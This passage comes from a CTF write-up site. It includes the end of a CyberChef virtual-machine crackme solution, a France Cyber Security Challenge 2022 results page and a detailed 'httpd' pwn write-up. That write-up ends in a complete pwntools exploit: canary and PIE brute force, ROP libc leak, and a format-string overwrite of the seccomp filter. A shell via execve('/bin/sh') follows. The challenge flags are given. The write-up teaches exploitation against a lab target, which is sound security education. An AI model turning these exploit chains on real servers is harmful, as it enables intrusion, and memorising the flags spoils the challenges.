SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSJ[PIII$]SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSJ[PIII$]SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSJ[PIII$]SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSJ[PIII$]SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSJ[PIII$]SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSJ[PIII$]SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSJ[PIII$]PIIII$
STACK=enter_flag_here
```

There is a huge variable `PROG` that stores what seems to be a program of some sort. Then, we see a second variable `STACK` inside of which we are supposed to write down the flag.

The recipe starts with a label called "loop", which is probably the loop that decodes each instruction. It is followed by a dispatcher on the first character of the `PROG` variable. We can see conditional jumps on the following regular expressions:

* `^PROG=A`
* `^PROG=D`
* `^PROG=E`
* `^PROG=I`
* `^PROG=J`
* `^PROG=P`
* `^PROG=R`
* `^PROG=S`
* `^PROG=\$`

Each instruction redirects to a dedicated handler, called `handle_A`, `handle_D`... except for the last instruction (`$`) which handler is called `handler_sys`.

At the end of the dispatcher, a portion of code labeled `nexti` (for *next instruction*) uses the fork/merge technique that I previously described to drop a byte of the `PROG` variable, which allows to advance to the next instruction and loop back.

Then, we can analyze each handler to understand the instructions of the virtual machine.

## Instruction set of the virtual machine

The virtual machine consists of the following (small) instruction set:

* A (*add*): pops `a`, pops `b`, pushes `a + b`
* D (*dup*): duplicates the top element of the stack
* E (*exh*): pops `a`, pops `b`, pushes `a`, pushes `b`
* I (*inc*): increments the top element of the stack
* J (*jiz*): pops `a` and jumps if `a = 0`
* P (*pushz*): pushes a zero
* R (*rots*): pops `a` and appends `a` at the end of the stack
* S (*dec*): decrements the top element of the stack
* $ (*syscall*): pops `n` and performs syscall number `n`

Yeah, I know, the "stack" is not actually a stack because of the "R" instruction that is shamelessly able to append an element at its end. Initially I wanted to implement an actual stack but I ended up simplifying things.

A few other remarks:

* each element on the stack is a byte (which means arithmetic instructions operate on 8 bits);
* conditional jumps (J) work like the following: `J[x]y` runs `x` then `y` if the top element of the stack is not zero, and runs only `y` (the rest of the program) otherwise.

You can notice there is a rather substantial limitation to the virtual machine: jumps are only forward and they cannot go back, which makes writing loops impossible. I didn't have the courage to implement that 😂

Last but not least, the `$` instruction performs what I would call "syscalls". They are operations that are executed not in the context of the VM, but directly in the context of the CyberChef recipe. I implemented four of them: the first two perform more cryptographic-like operations, and the last two are more I/O related.

| Syscall number | Description                                                       |
| -------------- | ----------------------------------------------------------------- |
| 1              | Encrypts the whole stack using RC4 and a hardcoded key            |
| 2              | Performs a 4-bit rotation to the right of every byte in the stack |
| 3              | Displays "Wrong :(" and terminates execution                      |
| 4              | Displays "Congrats :)" and terminates execution                   |

Here is a summary of the control flow of the virtual machine.

![Virtual machine control flow](/files/wV0CrfODcAgQJvDaakmi)

Now we have all the elements needed to reverse the program that is run within the virtual machine.

## Reversing the virtualized program

Using the knowledge of the different instructions that compose the virtual machine, we can "disassemble" the code of the program:

```
pushz
inc
syscall ; 1

pushz
inc
inc
syscall ; 2

pushz
inc
inc
inc
add
rots

pushz
inc
add
rots

pushz
inc
inc
inc
inc
add
rots

pushz
inc
add
rots

pushz
inc
inc
inc
inc
inc
add
rots

pushz
inc
inc
inc
inc
inc
inc
inc
inc
inc
add
rots

pushz
inc
inc
add
rots

pushz
inc
inc
inc
inc
inc
inc
add
rots

pushz
inc
inc
inc
inc
inc
add
rots

pushz
inc
inc
inc
add
rots

pushz
inc
inc
inc
inc
inc
add
rots

pushz
inc
inc
inc
inc
inc
inc
inc
inc
add
rots

pushz
inc
inc
inc
inc
inc
inc
inc
inc
inc
add
rots

pushz
inc
inc
inc
inc
inc
inc
inc
add
rots

pushz
inc
inc
inc
inc
inc
inc
inc
inc
inc
add
rots

pushz
inc
syscall ; 1

c1:
dec * 0x6f
jiz c2
pushz
inc * 3
syscall ; 3

c2:
dec * 0xd5
jiz c3
pushz
inc * 3
syscall ; 3

c3:
dec * 0x33
jiz c4
pushz
inc * 3
syscall ; 3

c4:
dec * 0xaa
jiz c5
pushz
inc * 3
syscall ; 3

c5:
dec * 0x87
jiz c6
pushz
inc * 3
syscall ; 3

c6:
dec * 0x12
jiz c7
pushz
inc * 3
syscall ; 3

c7:
dec * 0x03
jiz c8
pushz
inc * 3
syscall ; 3

c8:
dec * 0x90
jiz c9
pushz
inc * 3
syscall ; 3

c9:
dec * 0xd4
jiz c10
pushz
inc * 3
syscall ; 3

c10:
dec * 0x61
jiz c11
pushz
inc * 3
syscall ; 3

c11:
dec * 0x22
jiz c12
pushz
inc * 3
syscall ; 3

c12:
dec * 0x98
jiz c13
pushz
inc * 3
syscall ; 3

c13:
dec * 0xe6
jiz c14
pushz
inc * 3
syscall ; 3

c14:
dec * 0xe1
jiz c15
pushz
inc * 3
syscall ; 3

c15:
dec * 0x20
jiz good
pushz
inc * 3
syscall ; 3

good:
pushz
inc
inc
inc
inc
syscall ; 4
```

We can lift this code to a higher level, clearer representation:

```
syscall(1) ; apply RC4
syscall(2) ; apply ROR (4 bits)

push 3, add, rots
push 1, add, rots
push 4, add, rots
push 1, add, rots
push 5, add, rots
push 9, add, rots
push 2, add, rots
push 6, add, rots
push 5, add, rots
push 3, add, rots
push 5, add, rots
push 8, add, rots
push 9, add, rots
push 7, add, rots
push 9, add, rots

syscall(1) ; apply RC4

dec * 0x6f, syscall(3) if not zero (fail)
dec * 0xd5, syscall(3) if not zero (fail)
dec * 0x33, syscall(3) if not zero (fail)
dec * 0xaa, syscall(3) if not zero (fail)
dec * 0x87, syscall(3) if not zero (fail)
dec * 0x12, syscall(3) if not zero (fail)
dec * 0x03, syscall(3) if not zero (fail)
dec * 0x90, syscall(3) if not zero (fail)
dec * 0xd4, syscall(3) if not zero (fail)
dec * 0x61, syscall(3) if not zero (fail)
dec * 0x22, syscall(3) if not zero (fail)
dec * 0x98, syscall(3) if not zero (fail)
dec * 0xe6, syscall(3) if not zero (fail)
dec * 0xe1, syscall(3) if not zero (fail)
dec * 0x20, syscall(3) if not zero (fail)

syscall(4) ; congrats
```

Finally, we can lift our comprehension of the program into the following Python-like pseudo-code:

```python
RC4_KEY = b"A cyberchef crackme? Are you kidding me?"

stack = RC4(stack, RC4_KEY)
stack = ROR(stack, 4)

ADD_KEY = [3, 1, 4, 1, 5, 9, 2, 6, 5, 3, 5, 8, 9, 7, 9]
out = []
for x, y in zip(stack, ADD_KEY):
  out.append((x + y) % 256)

out = RC4(out, RC4_KEY)

if out == b"\x6f\xd5\x33\xaa\x87\x12\x03\x90\xd4\x61\x22\x98\xe6\xe1\x20":
  print("Congrats :)")
else:
  print("Wrong :(")
```

What is only left to do is to go through the different operations in reverse order, for example using CyberChef itself!

The following recipe computes the flag: <https://gchq.github.io/CyberChef/#recipe=RC4(%7B'option':'UTF8','string':'A%20cyberchef%20crackme?%20Are%20you%20kidding%20me?'%7D,'Hex','Latin1')SUB(%7B'option':'Hex','string':'03%2001%2004%2001%2005%2009%2002%2006%2005%2003%2005%2008%2009%2007%2009'%7D)Rotate\\_left(4,false)RC4(%7B'option':'UTF8','string':'A%20cyberchef%20crackme?%20Are%20you%20kidding%20me?'%7D,'Latin1','Latin1')\\&input=NmZkNTMzYWE4NzEyMDM5MGQ0NjEyMjk4ZTZlMTIw>

Flag: `RM{v1rTu4lch3f}`

We can verify that by plugging in the flag in the original CyberChef recipe and baking it, the output becomes "Congrats :)".

## Conclusion

I had a lot of fun creating this challenge and I hope the players who gave it a try enjoyed it as well. Despite being rather original and surprising, the challenge is quite simple in essence (especially the virtualized program, which is pretty basic).

I think the virtual machine could have been more polished and include more features, such as better control flow and loops that would have allowed to create an even more interesting program.


# FCSC 2022

I participated in the **France Cyber Security Challenge 2022** (04/29 - 05/08) in the *Senior* category.

I managed to rank **1st place** in the global ranking, among over 1500 participants. This was my ultimate goal after ranking 3rd in last year's competition, and I am very pleased to have managed to fulfill it.

I wrote a few write-ups, two that were required for the qualification, and a bonus one:

* [httpd (pwn)](/2022/fcsc_2022/httpd)
* [Hyper Packer (reverse)](/2022/fcsc_2022/hyper-packer)
* [Khal Hash (crypto)](/2022/fcsc_2022/khal-hash)

![Final global scoreboard matrix](/files/ulQcBEUo2o2Zm2i0CnVe)

![Solved challenges overview](/files/RlP7pEGuwJXYrVk3UjNE)


# httpd (pwn)

**httpd** was a pwn challenge from FCSC 2022, of *hard* difficulty.

We were asked to exploit a sandboxed HTTP server given the binary and the sources.

## TL;DR

1. Stack buffer overflow in HTTP header
2. Leak canary, PIE, libc and shared memory pointer
3. Write second stage payload to shared memory
4. Format string bug in parent process allows to rewrite its own memory
5. Rewrite seccomp filter to cancel out the sandbox
6. ret2libc in child process

## Preliminary recon

Naively, we try accessing the web server directly from our browser, and are greeted with a login window.

![Login window](/files/UEneqq5f9TwjBrkxMKdk)

Filling in `admin:admin` grants us authentication, but only displays the following message: *Congratulations! Now get the flag.*

Let's check out the files we're given.

```
╭─face@0xff ~/ctf/fcsc/pwn/httpd                                                                 
╰─$ checksec httpd                                                                               
[*] '/home/face/ctf/fcsc/pwn/httpd/httpd'                                                        
    Arch:     amd64-64-little                                                                    
    RELRO:    Full RELRO                                                                         
    Stack:    Canary found                                                                       
    NX:       NX enabled                                                                         
    PIE:      PIE enabled  
```

Lots of protections, but there's even more to come.

The sources of the challenge consist of several files:

```
╭─face@0xff ~/ctf/fcsc/pwn/httpd                                                                 
╰─$ tree src                                                                                     
src                                                                                              
├── audit.c                                                                                      
├── audit.h                                                                                      
├── base64.c                                                                                     
├── base64.h                                                                                     
├── debug.h                                                                                      
├── filter.bpf                                                                                   
├── filter.i                                                                                     
├── http.c                                                                                       
├── httpd.c                                                                                      
├── http.h                                                                                       
├── Makefile                                                                                     
├── worker.c                                                                                     
└── worker.h 
```

The main file, `httpd.c`, implements a fork server after mapping a shared memory page:

```c
/* Prepare shared memory segment */
struct shared *shared = mmap(NULL, sizeof(*shared),
  PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);

if(MAP_FAILED == shared) {
  perror("mmap");
  return EXIT_FAILURE;
}

/* Main loop */
do {
  int status = request(shared);
  DEBUG("status = %d\n", status);
  audit(shared, status);
} while(shared->keepalive);
```

The `request` function forks the process and launches a *sandbox* in the child process, inside of which the HTTP requests will be processed.

The `filter.bpf` file catches our attention. It implements a BPF filter:

```c
/* Check architecture */
ld [4]
jneq #0xc000003e, kill /* AUDIT_ARCH_X86_64 */

/* Check syscall */
ld [0]

/* These 4 syscalls are allowed by SECCOMP_SET_MODE_STRICT */
jeq #0,   allow  /* SYS_read */
jeq #1,   allow  /* SYS_write */
jeq #15,  allow  /* SYS_sigreturn */
jeq #60,  allow  /* SYS_exit */

jeq #12,  allow  /* SYS_brk */

kill:  ret #0x80000000 /* SECCOMP_RET_KILL_PROCESS */
allow: ret #0x7FFF0000 /* SECCOMP_RET_ALLOW */
```

This filter is effectively enforced by the sandbox, thanks to *seccomp*:

```c
static struct sock_filter filter[] = {
  #include "filter.i"
};

static struct sock_fprog bpf = {
  .filter = filter,
  .len    = sizeof(filter) / sizeof(*filter),
};

if(0 != prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0)) {
  perror("prctl PR_SET_NO_NEWPRIVS");
  exit(EXIT_FAILURE);
}

if(0 != seccomp(SECCOMP_SET_MODE_FILTER, 0, &bpf)) {
  perror("seccomp");
  exit(EXIT_FAILURE);
}
```

This means that the child processes are only allowed to use a very select number of syscalls. With these syscalls, even if we manage to exploit a child process, we won't be able to get a shell or read a file. It also seems the BPF filter does not bear any specific weakness.

## Auditing the sources: a first vulnerability

Next step is to audit the sources to identify potential vulnerabilities.

We quickly find a problem in `worker.c`. The following function, `checkAuth`, takes as input the base64 string that is sent through the `Authorization` HTTP header (e.g. `"Authorization Basic YWRtaW46YWRtaW4="`).

```c
bool checkAuth(const char *b64, struct shared *shared)
{
	char creds[0x100] = {};

	if(true != b64_decode(b64, strlen(b64), creds)) {
		askAuth("Malformed base64");
		return false;
	}

	DEBUG("creds = %s\n", creds);

	/* Parse creds */
	char *saveptr;
	const char *login    = strtok_r(creds, ":", &saveptr);
	const char *password = strtok_r(NULL,  "",  &saveptr);

	/* Check login */
	if(0 != strcmp(login, LOGIN)) {
		askAuth("Invalid username");
		return false;
	}

	/* Check password */
	if(0 != strcmp(password, PASSWORD)) {
		askAuth("Invalid password");
		return false;
	}

	/* We're all set, keep track of the user */
	strncpy(shared->username, login, sizeof(shared->username));
	shared->loggedin = true;

	return true;
}
```

It appears the `b64_decode` function writes the decoded base64 buffer directly to `creds` without performing any length check for as long as there are bytes to decode. Also a determinant fact is that **no null byte** is appended to the decoded base64 string. This accounts for a **stack-based buffer overflow** in the `checkAuth` method.

We can trigger the bug by sending a request that looks like this. Note that each line feed should be preceded by a carriage return (`\r`).

```
GET / HTTP/1.1
Connection: keep-alive
Authorization: Basic QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUE=
Content-Length: 0
```

## Exploiting the buffer overflow

### Leaking canary and PIE

We cannot directly overwrite RIP as there is a canary protection. However, remember that no null byte is appended to our overflowing byte array in the stack. This means we can **brute-force the canary** one byte at a time:

```python
payload = b"admin:admin\x00" + b"\x00" * (264 - 12)
payload += bytes(canary + [guess])
```

Every time the server does not crash and we are successfully logged in, means we found a new correct byte.

It is also important to keep the connection alive (`Connection: keep-alive`) as the parent process will, in this case, loop and fork again to handle the next request. This way, the canary will stay the same across the forked processes.

Once we determined the 8 bytes of the canary, next thing we can do is brute-force the return address in order to leak the PIE base. This works pretty much the same way, although we can speed up the search because we know the return address ends in `0x89e` and its two most significant bytes are null.

### Leaking libc base

Now that we can overwrite RIP and know the PIE base, we can use a few gadgets from the binary and proceed to leak libc base. This will give us useful gadgets and functions for the next steps.

The idea is simply to use `ret2plt`: we will use the `puts` entry in the PLT so that the server leaks a pointer for us. In this case, we arbitrarily decide to leak `puts@got` which points to libc. As we are given the libc version, we can then calculate its base.

```python
payload = b"admin:admin\x00" + b"\x00" * (264 - 12)
payload += p64(canary)
payload += p64(0x1122334455667788) # saved rbp
payload += p64(pie_base + 0x2aa3)  # pop rdi ; ret
payload += p64(binary.got["puts"])
payload += p64(binary.plt["puts"]) # leak puts@got
payload += p64(pie_base + 0x289e)  # try to return cleanly

# [...]

q = p.recvline()

puts_got = int.from_bytes(q.rstrip()[-6:], byteorder="little")
libc_base = puts_got - 0x809d0
libc.address = libc_base

print(f"libc base: 0x{libc_base:016x}")
```

Now\... what should we do? We can run arbitrary ROP chains and have access to the whole libc, but we still can't do anything really promising because of the seccomp filter. Time to find something else.

## Second vulnerability in the parent process

In order to do anything really interesting such as popping a shell, we would have to escape from the sandbox, for instance by leveraging the parent process.

How can we reach the parent process? Well, recall the `main` function:

```c
/* Prepare shared memory segment */
struct shared *shared = mmap(NULL, sizeof(*shared),
  PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);

if(MAP_FAILED == shared) {
  perror("mmap");
  return EXIT_FAILURE;
}

/* Main loop */
do {
  int status = request(shared);
  DEBUG("status = %d\n", status);
  audit(shared, status);
} while(shared->keepalive);
```

There is a shared page of memory between the parent process and its children! Its structure is the following:

```c
struct shared {
	bool keepalive;
	bool loggedin;
	char username[0x100];
};
```

Then, this `shared` structure is used in the `audit` function, which serves for logging purposes.

```c
void audit(const struct shared *shared, int status)
{
	/* Do not log failed attempts, exit early */
	if(WIFEXITED(status) && !shared->loggedin)
		return;

	/* Initialize the logger */
	static bool init = false;

	if(!init) {
		openlog(IDENT, 0, LOG_DAEMON);
		init = true;
	}

	/* Determine the message and priority */
	char msg[0x200];
	int prio;

	if(WIFEXITED(status)) {
		/* Keep track of connections in the audit log */
		snprintf(msg, sizeof(msg), "LOGIN %s", shared->username);
		prio = LOG_NOTICE;
	} else if(WIFSIGNALED(status)) {
		/* Signal ? We should warn about this */
		snprintf(msg, sizeof(msg), "SIGNAL %d", WTERMSIG(status));
		prio = LOG_WARNING;
	} else {
		/* ??? */
		snprintf(msg, sizeof(msg), "UNKNOWN %d", status);
		prio = LOG_CRIT;
	}

	/* Send the actual message to the logger */
	syslog(prio, msg, 0);
}
```

At this point, I was tired and I incorrectly read the source, thinking there was yet another stack-based buffer overflow when the `LOGIN %s` string was copied to `msg` with our username (obviously there is not, since it stops at `sizeof(msg)`). Therefore, I spent a lot of time trying to manage to leak the shared memory pointer so that I could write an arbitrary second stage payload inside it, including null bytes.

Thanksfully, it didn't go to waste as getting such a primitive was still useful to exploit the actual vulnerability, which we will talk about now.

The vulnerability actually lies in the use of this function:

```c
/* Send the actual message to the logger */
syslog(prio, msg, 0);
```

The `syslog` function takes a **format string** as input, and we control the `msg` buffer because `shared->username` is copied in it (if we are logged in, i.e. `shared->loggedIn == 1`). This also requires that the child process returned cleanly (no crash).

### Leaking the shared memory pointer

Testing locally, I noticed the offset between the shared mmaped page and the libc base was constant. Therefore, I first finished my exploit by hardcoding this offset in my script.

Obviously, it turned out that this offset was completely wrong on the remote, certainly due to how the kernel manages memory differently.

I explored several methods to leak this pointer. In particular, I wasted a lot of time trying to leak it from the stack:

1. Leak stack pointer through `&environ` in libc
2. Calculate pointer to shared memory pointer in the stack
3. Leak shared memory pointer

Again, I didn't manage to make it work on the remote as I wasn't able to locate the pointer in the stack (which was, of course, at a different offset than locally).

Especially, my exploit was taking a painfully stupid time to run and I had to wait dozens of minutes each time to brute-force the canary and PIE. Indeed, I had to set a \~500ms timeout for every byte (and even then this was not necessarily enough as I often stumbled upon false positives). Therefore, debugging my exploit on the remote was excruciating.

![](/files/MjUW6X5FrTt3laQ7WuLy)

Next, I tried leaking the shared memory pointer directly with well-chosen gadgets. The `shared->username` pointer was in `rdi` at the end of the `checkAuth` function, so leaking `rdi` through a ropchain would be enough.

Again, I spent a lot of time trying to chain libc gadgets to move `rdi` to an interesting register (typically `rsi`, so that I can write to it through `read`, or leak it through some function like `printf`...), without success. I didn't immediately think of writing the register to memory (next time, I will know!). Eventually, I came up with this chain:

```python
payload = b"admin:admin\x00" + b"\x00" * (264 - 12)
payload += p64(canary)
payload += p64(0x1122334455667788)  # saved rbp
payload += p64(libc_base + 0x44c70) # pop rax ; ret
payload += p64(pie_base + 0x5000)   # random place in .data
payload += p64(libc_base + 0x9711f) # mov qword ptr [rax], rdi ; ret (rdi = shared->username)
payload += p64(pie_base + 0x2aa3)   # pop rdi ; ret
payload += p64(pie_base + 0x5001)
payload += p64(binary.plt["puts"])  # leak the pointer we just copied
payload += p64(pie_base + 0x289e)   # try to return cleanly
```

### Writing a second stage payload to the shared memory

This part is rather straightforward: return to `read@plt`.

```python
payload = b"admin:admin\x00" + b"\x00" * (264 - 12)
payload += p64(canary)
payload += p64(0x1122334455667788)      # saved rbp
payload += p64(pie_base + 0x2aa3)       # pop rdi ; ret
payload += p64(0x0)                     # fd: stdin
payload += p64(libc_base + 0x2a4cf)     # pop rsi ; ret
payload += p64(shared_memory_ptr)       # share->keepalive + logged_in + username
payload += p64(libc_base + 0xc7f32)     # pop rdx ; ret
payload += p64(0x300)                   # n
payload += p64(libc.sym["read"])
payload += p64(libc_base + 0x44c70)     # pop rax ; ret
payload += p64(0x0)
payload += p64(binary.sym["_exit"])     # _exit(status=0) to trigger correct path in audit (LOGIN syslog)
```

It is important to note that we want to exit the process cleanly to trigger the correct path in the `audit` function next time the parent process runs it. We use the `_exit` function defined in the binary that directly syscalls `exit` (the libc `exit` will not work with the seccomp filter).

After sending this payload, the server will ask for `0x300` bytes and we can overwrite the shared memory as we want.

### Exploiting the format string bug

We now fully control `shared->username`. As we saw earlier, this username is copied through the `msg` buffer in the `audit` function and used in `syslog`, leaving room for a format string type vulnerability.

With that, we can write an arbitrary value in the parent's process memory, but we are constrained to a payload without null byte (as the username is copied with `snprintf`). Therefore, it is better to use only a single write.

Without stack leak, my solution was to **rewrite the BPF filter** inside the parent memory so that the next forked child would use hijacked seccomp rules:

```python
payload = b""
payload += b"\x01\x01" # set logged_in=1 to trigger correct path
payload += b"AA" # align format string in stack
payload += br"%32759c%12$hnaaa" + p64(pie_base + 0x5066)
```

This format string writes the word `\xFF\x7F` at `pie_base + 0x5066`, which patches the BPF filter in this part so that it always returns `SECCOMP_RET_ALLOW`:

```c
kill:  ret #0x7FFF0000 /* SECCOMP_RET_ALLOW */
allow: ret #0x7FFF0000 /* SECCOMP_RET_ALLOW */
```

Of course, the `pie_base + 0x5066` address should not have a null byte in it (except for the most significant bytes), but this happens only very rarely. Right?

![](/files/wuP06QjdrH3YbEr9mdf8)

## Final stage

Once the BPF filter has been hijacked, the server spawns a new child and a `ret2libc` concludes the challenge. For some reason it didn't work for me with `system` so I used `execve`.

```python
payload = b"admin:admin\x00" + b"\x00" * (264 - 12)
payload += p64(canary)
payload += p64(0x1122334455667788)            # saved rbp
payload += p64(pie_base + 0x2aa3)             # pop rdi ; ret
payload += p64(next(libc.search(b"/bin/sh")))
payload += p64(pie_base + 0x2aa1)             # pop rsi ; pop r15 ; ret
payload += p64(0x0)
payload += p64(0x0)
payload += p64(libc_base + 0xc7f32)           # pop rdx ; ret
payload += p64(0x0)
payload += p64(libc.sym["execve"])
```

![Example run of the final exploit](/files/w2zFS3USl3GhLKTcUrby)

As someone who's still relatively not at ease with pwn, I would like to thank the author of this challenge, which I found to be a fun ride with well designed steps.

## Exploit script

```python
from pwn import *
import base64
import time


binary = ELF("./httpd")
libc = ELF("./libc.so.6")

context.arch = "amd64"
context.bits = 64

if args.REMOTE:
    p = remote("challenges.france-cybersecurity-challenge.fr", 2058)
    TIMEOUT = 0.2
else:
    p = process(["./httpd_patched"])
    TIMEOUT = 0.1



# Leak canary

canary = [0x00]
while len(canary) < 8:
    found = False
    for guess in range(256):
        time.sleep(TIMEOUT)

        payload = b"admin:admin\x00" + b"\x00" * (264 - 12)
        payload += bytes(canary + [guess])

        req = b"""GET / HTTP/1.1\r
Connection: keep-alive\r
Authorization: Basic REPLACE\r
Content-Length: 0\r
\r
""".replace(b"REPLACE", base64.b64encode(payload))

        p.send(req)
        q = p.recvuntil(b"\r\n\r\n", timeout=TIMEOUT)
        if q and b'flag' in p.recv(4096):
            canary.append(guess)
            print(f"Canary: {bytes(canary).hex()}")
            found = True
            break
    if not found:
        canary = canary[:-1]

canary = int.from_bytes(bytes(canary), byteorder="little") 
print()



# Leak PIE (ret addr)

ret_addr = [0x9e]
while len(ret_addr) < 6:
    found = False
    for guess in range(256):
        if len(ret_addr) == 1 and guess % 16 != 8:
            continue # ret addr ends with 0x89e

        time.sleep(TIMEOUT)
        payload = b"admin:admin\x00" + b"\x00" * (264 - 12)
        payload += p64(canary)
        payload += p64(0x1122334455667788) # saved rbp
        payload += bytes(ret_addr + [guess])

        req = b"""GET / HTTP/1.1\r
Connection: keep-alive\r
Authorization: Basic REPLACE\r
Content-Length: 0\r
\r
""".replace(b"REPLACE", base64.b64encode(payload))

        p.send(req)
        q = p.recvuntil(b"\r\n\r\n", timeout=TIMEOUT)
        if q and b'flag' in p.recv(4096):
            ret_addr.append(guess)
            print(f"Return address: {bytes(ret_addr).hex()}")
            found = True
            break
    if not found:
        ret_addr = ret_addr[:-1]

ret_addr = int.from_bytes(bytes(ret_addr), byteorder="little")
pie_base = ret_addr - 0x289e

print(f"PIE base: 0x{pie_base:016x}\n")

binary.address = pie_base


# Ropchain to leak libc base

payload = b"admin:admin\x00" + b"\x00" * (264 - 12)
payload += p64(canary)
payload += p64(0x1122334455667788) # saved rbp
payload += p64(pie_base + 0x2aa3)  # pop rdi ; ret
payload += p64(binary.got["puts"])
payload += p64(binary.plt["puts"]) # leak puts@got
payload += p64(pie_base + 0x289e)  # try to return cleanly

req = b"""GET / HTTP/1.1\r
Connection: keep-alive\r
Authorization: Basic REPLACE\r
Content-Length: 0\r
\r
""".replace(b"REPLACE", base64.b64encode(payload))

p.send(req)
q = p.recvline()

puts_got = int.from_bytes(q.rstrip()[-6:], byteorder="little")
libc_base = puts_got - 0x809d0
libc.address = libc_base

print(f"libc base: 0x{libc_base:016x}")



# Ropchain to leak shared memory pointer

binary.address = pie_base

payload = b"admin:admin\x00" + b"\x00" * (264 - 12)
payload += p64(canary)
payload += p64(0x1122334455667788)  # saved rbp
payload += p64(libc_base + 0x44c70) # pop rax ; ret
payload += p64(pie_base + 0x5000)   # random place in .data
payload += p64(libc_base + 0x9711f) # mov qword ptr [rax], rdi ; ret (rdi = shared->username)
payload += p64(pie_base + 0x2aa3)   # pop rdi ; ret
payload += p64(pie_base + 0x5001)
payload += p64(binary.plt["puts"])  # leak the pointer we just copied
payload += p64(pie_base + 0x289e)   # try to return cleanly

req = b"""GET / HTTP/1.1\r
Connection: keep-alive\r
Authorization: Basic REPLACE\r
Content-Length: 0\r
\r
""".replace(b"REPLACE", base64.b64encode(payload))

p.send(req)
q = p.recv(4096)

shared_memory_ptr = int.from_bytes(b"\x00" + q.rstrip()[-5:], byteorder="little") - 0x100

print(f"shared memory pointer: 0x{shared_memory_ptr:016x}")


# Ropchain that writes second stage payload to shared memory

payload = b"admin:admin\x00" + b"\x00" * (264 - 12)
payload += p64(canary)
payload += p64(0x1122334455667788)      # saved rbp
payload += p64(pie_base + 0x2aa3)       # pop rdi ; ret
payload += p64(0x0)                     # fd: stdin
payload += p64(libc_base + 0x2a4cf)     # pop rsi ; ret
payload += p64(shared_memory_ptr)       # share->keepalive + logged_in + username
payload += p64(libc_base + 0xc7f32)     # pop rdx ; ret
payload += p64(0x300)                   # n
payload += p64(libc.sym["read"])
payload += p64(libc_base + 0x44c70)     # pop rax ; ret
payload += p64(0x0)
payload += p64(binary.sym["_exit"])     # _exit(status=0) to trigger correct path in audit (LOGIN syslog)

req = b"""GET / HTTP/1.1\r
Connection: keep-alive\r
Authorization: Basic REPLACE\r
Content-Length: 0\r
\r
""".replace(b"REPLACE", base64.b64encode(payload))

p.send(req)



# Exploit format string in parent process (audit->syslog)
# Rewrite seccomp BPF filter_0 to allow all syscalls (\x00\x80 -> \xFF\x7F ALLOW)

payload = b""
payload += b"\x01\x01" # set logged_in=1 to trigger correct path
payload += b"AA" # align format string in stack
payload += br"%32759c%12$hnaaa" + p64(pie_base + 0x5066)
print(payload)
while len(payload) < 0x300:
    payload += b"\x00"
p.send(payload)



# Finally, next fork will be seccomped with our hijacked BPF filter
# ret2libc our way to shell

payload = b"admin:admin\x00" + b"\x00" * (264 - 12)
payload += p64(canary)
payload += p64(0x1122334455667788)            # saved rbp
payload += p64(pie_base + 0x2aa3)             # pop rdi ; ret
payload += p64(next(libc.search(b"/bin/sh")))
payload += p64(pie_base + 0x2aa1)             # pop rsi ; pop r15 ; ret
payload += p64(0x0)
payload += p64(0x0)
payload += p64(libc_base + 0xc7f32)           # pop rdx ; ret
payload += p64(0x0)
payload += p64(libc.sym["execve"])

req = b"""GET / HTTP/1.1\r
Connection: keep-alive\r
Authorization: Basic REPLACE\r
Content-Length: 0\r
\r
""".replace(b"REPLACE", base64.b64encode(payload))

p.send(req)

p.interactive()

p.close()


"""
FCSC{d87c69143541ae0d3e43f8d65bff7072646cdc781167b89aedf0146cb20ed3cd}
"""
```


# Hyper Packer (reverse)

